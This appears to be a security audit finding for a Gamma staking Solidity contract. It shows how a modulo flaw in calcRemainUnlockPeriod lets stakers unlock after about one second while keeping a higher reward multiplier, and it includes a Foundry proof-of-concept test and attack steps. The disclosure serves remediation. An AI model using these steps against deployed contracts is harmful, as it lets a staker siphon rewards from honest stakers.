Interesting Tawny Scorpion

high

# Stakers can retain higher reward multiplier while unstaking early

## Summary

Stakers can create lock positions that can be unstaked almost immediately and/or earlier than intended but retain the higher reward multiplier

## Vulnerability Detail

The root cause lies in [`calcRemainUnlockPeriod()`](https://github.com/sherlock-audit/2024-05-gamma-staking-nevillehuang/blob/main/StakingV2/src/Lock.sol#L605) in which the remaining time in seconds until lock can be unlocked is computed

```solidity
function calcRemainUnlockPeriod(LockedBalance memory userLock) public view returns (uint256) {
    // 1. Retrieve lock Time and lockPeriod
    uint256 lockTime = userLock.lockTime;
    uint256 lockPeriod = userLock.lockPeriod;
    
    // 2. If lockPeriod is smaller than or equal to defaultRelockTiome of 30 days
    // Use lockPeriod to subtract minimum 30 days --> lockPeriod - timeleft of lock rounded to nearest 30th day
    if (lockPeriod <= defaultRelockTime || (block.timestamp - lockTime) < lockPeriod) {
        // If the adjusted lock period is less than or equal to the default relock time, or if the current time is still within the adjusted lock period, return the remaining time based on the adjusted lock period.
        return lockPeriod - (block.timestamp - lockTime) % lockPeriod;
    } else {
        // If the current time exceeds the adjusted lock period, return the remaining time based on the default relock time.
@>      return defaultRelockTime - (block.timestamp - lockTime) % defaultRelockTime;
    }
```

> In the PenaltyCalculations, we use seconds for simplicity, but in reality, the minimum lock time will be 30 days and the defaultRelockTime should be equal to minimum lock time, but in case its not, the penalty should be based on the original lockPeriod.

Taking a realistic example of `defaultRelockTime` being 30 days. If `lockPeriod >= defaultRelockTime` and `block.timestamp - lockTime > lockPeriod`, the `calcRemainUnlockPeriod` will fall into the else block. 

This means the user can perform the following as the most extreme example:

1. Stake a position for 150 days, `lockPeriod = 150 days`
2. Assume admin notify rewards via `notifyUnseenRewards()`, at anytime between this 
3. Wait until position expires by `5183999`, ~59.999 days i.e. `block.timestamp - lockTime = 5183999`
4. Call `exitLateById()` , wherein `coolDownSecs` is computed as `2592000 - (5183999 % 2592000) = 1 seconds`
5. Call `getRewards()/getAllRewards()`
6. Unlock all tokens via `withdrawAllUnlockedToken()` after 1 second cooldown

In `Setup.t.sol` change this line [here]() to `lockPeriod.push(150 days);` and this line [here]() to `lock.setDefaultRelockTime(30 days);`. Then, copy and run `forge test --mt testCreatePositionImmediateUnlock` in `Withdrawal.t.sol`
```solidity
function testCreatePositionImmediateUnlock() public {
    // 1. User 1 stake position
    vm.prank(user1);
    lock.stake(100e18, user1, 0);

    // 2. Reward distribution
    vm.prank(deployer);
    _rewardToken.transfer(address(lock), 300e18);
    vm.prank(deployer);
    lock.notifyUnseenReward(rewardTokens);
    
    // 3. Fetch the first lock for user1 and perform a late exit and get rewards
    LockedBalance[] memory user1Locks = lockList.getLocks(user1, 0, 10);
    LockedBalance memory user1Lock = lockList.getLockById(user1, user1Locks[0].lockId);
    vm.prank(user1);
    uint256 prevTimestamp = block.timestamp;
    skip(150 days + 5183999); // Simulate time passage
    assertEq(block.timestamp, prevTimestamp + 150 days + 5183999);
    lock.exitLateById(user1Lock.lockId);
    lock.getAllRewards(); // Here rewards will be zero because of another vulnerability

    // 4. User immediately withdraws all tokens
    uint256 user1BalanceBefore = _stakingToken.balanceOf(user1);
    vm.prank(user1);
    prevTimestamp = block.timestamp;
    skip(2);
    assertEq(block.timestamp, prevTimestamp + 2);
    lock.withdrawAllUnlockedToken();
    uint256 user1BalanceAfter = _stakingToken.balanceOf(user1);
    assertEq(user1BalanceBefore + 100e18, user1BalanceAfter);
}
```

It is mentioned in the contest details that 

> Upon expiry of any lock time, the positions are automatically relocked for the duration of the lesser of the original lock time or the default lock time.

Here, instead of locking for the lesser default lock time of 30 days, the user is only relocked for an additional 1 second meaning it is possible to create locked positions wherein users can retain a higher locked multiplier without explicitly staking tokens for the intended lock period. The range of early unlock can range anywhere from 1 second - 29 minutes 59 seconds (instead of the usual minimum 30 minute relock time)

## Impact

- Allow users to create positions that can claim rewards without locking for intended lock period (minimum relock period of `defaultLockTime`), which can be abused to siphon rewards from other honest users staking


## Code Snippet

https://github.com/sherlock-audit/2024-05-gamma-staking-nevillehuang/blob/main/StakingV2/src/Lock.sol#L605

## Tool used

Manual Review

## Recommendation

Further analysis is required to refactor how `calcRemainUnlockPeriod` determines remaining locking period. Perhaps modulo should be avoided